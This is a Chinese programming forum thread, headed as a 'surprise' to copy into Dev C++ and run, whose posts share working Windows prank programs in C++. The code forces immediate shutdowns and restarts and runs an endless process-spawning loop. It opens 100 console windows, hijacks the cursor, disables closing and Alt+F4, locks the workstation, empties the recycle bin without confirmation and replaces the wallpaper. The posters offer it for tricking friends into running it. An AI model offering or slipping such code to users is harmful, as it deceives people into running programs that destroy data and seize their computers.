复制到DEV C++运行后有惊喜

CPP 刷题王 2021-10-27 18:07:05 2022-07-04 17:23:14 103
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("shutdown -s -t 0");
	cout<<"0s:\n";//这个可以不要
	Sleep(1);
	cout<<"6s";//这个也可以不要
	return 0;
}
{{ vote && vote.total.up }}

共 54 条回复

ykj105 小黑蛋

@CPP 我又找了一个新的

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void ____2() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
void ____1(){
	system("color A1");
	DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
	DrawMenuBar(GetConsoleWindow());
	srand(time(0));
	system("mode con cols=50 lines=25");
	system("title 我就爱坑你");
	for(int i=1;i<=500;i++){
		int x,y;
		x=rand()%50+600;
		y=rand()%50+600;
		SetCursorPos(x,y);
		Sleep(10);
	}
	while(MessageBox(NULL,TEXT(" 你 是 猪 吗 ?"),TEXT("你是猪"),MB_YESNO)==IDNO){}
	MessageBox(NULL,TEXT("我 知 道 了,你 是 猪。"),TEXT("你是猪"),MB_OK);
	for(int i=1;i<=100;i++){
		system("start cmd");
	}
	Sleep(1000);
	for(int i=1;i<=8;i++){
		cout<<"正在更新请勿关机……";
		cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
		Sleep(500);
		cout<<"正在更新请勿关机…        ";
		cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
		Sleep(500);
	}
	MessageBox(NULL,TEXT("Windows 将 在 0.121204 年 后 关 机"),TEXT(" "),MB_OK);
	cout<<"\n\n\n\n\n                     你怎么能关机呢";
	Sleep(1000);
	for(int i=1;i<=100;i++){
		cout<<"\n                             ?";
		Sleep(10);
	}
	system("cls");
	if(MessageBox(NULL,TEXT("你 是 笨 蛋 吗 ?是 的 话 可 以 取 消 关 机。"),TEXT("你是笨蛋"),MB_YESNO)==IDYES)
	cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
	Sleep(500);
	cout<<"你猜我在干嘛?\n";
	string a;
	cin>>a;
	cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b我在登记一个笨蛋";
	Sleep(1000);
	cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b警告!警告!系统出错!系统出错!";
	for (int i=0;i<10;i++){
		system("color A0");
		Sleep(50);
		system("color B0");
		Sleep(50);
		system("color C0");
		Sleep(50);
		system("color D0");
		Sleep(50);
		system("color E0");
		Sleep(50);
		system("color F0");
		Sleep(50);
	}
	system("cls");
	SHEmptyRecycleBin(NULL,NULL,SHERB_NOCONFIRMATION);
	SystemParametersInfo (SPI_SETDESKWALLPAPER, 0 , (void*)"D:\\廖晓晨\\我的游戏\\坑人小程序\\text.webp",0);
	cout<<"最后一个彩蛋:";
	Sleep(3000);
	____2();
	int pix;
	HWND wnd;
	HDC dc;
	wnd=FindWindow("SysListView32",NULL);
	dc=GetDC(wnd);
	pix=RGB(0,0,0);
	int x=0;
	int y=0;
	for(int i=0;i<3500;i++){
		for(int j=0;j<1500;j++){
			pix=RGB(i%255,j%255,(i+j)%255);
			SetPixel(dc,x+i,y+j,pix);
		}
	}
	system("start https://blog.csdn.net/2301_76445315/article/details/130543705");
	Sleep(10000);
	system("shutdown -h");
	system("图标.exe");
}
int main(){	
	____1();
	return 0;
}
ykj105 小黑蛋

等我回去看看错没有

ykj105 小黑蛋

我是在网上找的

CPP 刷题王

@ykj105 我在洛谷在线 IDE 上运行,然后 CE 了,求指导

ykj105 小黑蛋
#include <iostream>
#include <fstream>
#include <Windows.h>
#include <conio.h>
#include <string.h>
#include <ctime>
#include <tchar.h>
#include <thread>
using namespace std;
 
#define n1 532
#define n2 588
#define n3 660
#define n4 698
#define n5 784
#define n6 880
#define n7 988
#define nb3 623
#define nb7 930
 
#define h1 1046
#define h2 1175
#define h3 1319
#define h4 1397
#define h5 1568
#define h6 1760
#define h7 1976
#define hb3 1241
#define hb7 2092
 
int m;
char n;
int x, y;
int a, b;
string ch_1, ch_2;
void FadeAway()
{
	Beep(n4, 150);
	Beep(n4, 150);
	Beep(h4, 300);
	Beep(hb3, 300);
	Beep(nb7, 150);
	Beep(h1, 300);
}
void f()
{
	cout << "------------------------------------------------------华丽的开始线------------------------------------------------------";
	cout << "作为一个萌新,也该坑坑人了……" << endl;
	Sleep(2000);
	cout << "好吧!system(\"start\")来一波!" << endl;
	Sleep(2000);
	cout << "似乎哪里出问题了。" << endl;
	Sleep(5000);
	system("start");
	system("start");
	system("start");
	system("start");
	system("start");
	Sleep(1000);
	cout << "呵呵,关完没有?\n1、关完了\n2、没有" << endl;
	n = _getch();
	cout << "呵呵,管你关完没有。再见!" << endl;
	Sleep(1000);
	system("rundll32.exe user32.dll,LockWorkStation");
	Sleep(5000);
	cout << "呵呵,我又回来了!MEIFAXIANSHUBIAODONGBULIAOMA?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
	Sleep(2000);
	cout << "呵呵,我怎么那么喜欢说“呵呵”呢?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	cout << "呵呵,再来!" << endl;
	for (int i = 0; i < 10; i++)
	{
		system("color A0");
		Sleep(50);
		system("color B0");
		Sleep(50);
		system("color C0");
		Sleep(50);
		system("color D0");
		Sleep(50);
		system("color E0");
		Sleep(50);
		system("color F0");
		Sleep(50);
	}
	Sleep(2000);
	cout << "没把你闪瞎吧!" << endl;
	Sleep(2000);
	cout << "-------------------------------------------------------小游戏环节-------------------------------------------------------";
	srand(time(0));
	for (int i = 1; i <= 3; i++)
	{
		x = rand() % 10 + 1;
		y = rand() % 39 + 1;
		if (i == 1)
		{
			ch_1 = "";
			ch_2 = "";
		}
		if (i == 2)
		{
			ch_1 = "";
			ch_2 = "";
		}
		if (i == 3)
		{
			ch_1 = "";
			ch_2 = "";
		}
		cout << "找不同——" << i << endl;
		cout << "   1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ";
		for (int j = 1; j <= 10; j++)
		{
			if (j >= 1 && j <= 9)
			{
				cout << j << "  ";
			}
			else
			{
				cout << j << " ";
			}
			for (int k = 1; k <= 39; k++)
			{
				if (j == x && k == y)
				{
					cout << ch_2 << " ";
				}
				else
				{
					cout << ch_1 << " ";
				}
			}
		}
		cout << "请依次输入行数、列数:"; cin >> a >> b;
		if (a == x && b == y)
		{
			cout << "正确!" << endl;
		}
		else
		{
			cout << "错误!" << endl;
			Sleep(2000);
			system("cls");
			i--;
		}
		if (i != 3)
		{
			cout << endl;
		}
	}
	cout << "------------------------------------------------------华丽的分割线------------------------------------------------------";
	cout << "旁白:你是一位“main”函数,代码已预加载<iostream>。" << endl;
	Sleep(2000);
	cout << "std:main,喏!cin、cout、endl……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), _T("是否接受?"), _T("std"), 4);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"using namespace std;\"" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句cout,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"cout\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------First  Blood------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	cout << "Windows.h:喏!Sleep、MessageBox……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), _T("是否接受?"), _T("Windows.h"), 3);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"#include <Windows.h>\"" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句Sleep,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"Sleep\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新又到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Double  Kill------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	cout << "旁白:萌新又加了几句,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新以为又是你搞的鬼,双到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Triple Kill------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	ofstream out("save.txt");
	out << 1;
	out.close();
	system("shutdown -r");
	cout << "旁白:萌新想做一个坑人游戏,于是写了一段关机代码并运行了。" << endl;
	Sleep(2000);
	cout << "系统:关机中……(重启后打开有彩蛋!)" << endl;
	Sleep(100000);
}
void s()
{
	cout << "--------------------------------------------------------YOU  DIE--------------------------------------------------------";
	Sleep(2000);
	cout << "-------------------------------------------------------Quadr Kill-------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	cout << "然后没有然后了……" << endl;
	Sleep(2000);
	cout << "然后真的没有然后了……" << endl;
	Sleep(2000);
	cout << "但可以给你们讲一些坑人方式。" << endl;
	Sleep(2000);
	cout << "比如说我这个函数“楼下”的\"lock()\"函数就是先把控制台从任务栏隐藏,再禁用关闭键。" << endl;
	Sleep(2000);
	cout << "然后你的好朋友就会在打开程序的时候崩溃掉……" << endl;
	Sleep(2000);
	cout << "-------------------------------------------------------Penta Kill-------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	cout << "还有,看到\"lock()\"“楼下”的\"key()\"了吗?" << endl;
	Sleep(2000);
	cout << "它是一检测到Alt被按下,就会清除输入缓冲区的数据,这是为了避免你的好朋友用Alt+F4强制关闭。然后……" << endl;
	Sleep(2000);
	cout << "-------------------------------------------------------Shut  Down-------------------------------------------------------";
	FadeAway();
	Sleep(2000);
	cout << "再告诉你们一个小秘密:我没做任何关于任务管理器的防护……但是,至少我没成功过……导致我重启了好几次……" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------华丽的结束线------------------------------------------------------";
	ofstream out("save.txt");
	out << 0;
	out.close();
}
void lock()
{
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
}
DWORD WINAPI key(LPVOID lpParameter)
{
	while (1)
	{
		if (_getch() == 0x12)
		{
			FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
		}
	}
	return 0L;
}
int main()
{
	HANDLE hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
	CloseHandle(hThread);
	lock();
	ifstream in("save.txt");
	in >> m;
	in.close();
	if (m == 1)
	{
		s();
	}
	else
	{
		f();
	}
	return 0;
}
CPP 刷题王

觉得还不错的话可以试试

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("shutdown -p");
	return 0;
}

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	while (1)
		system("start");
	return 0;
}
czh12 黄金1

你!!! 6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666

lzm

我无语了

ykj95

“我谢谢你”

ykj95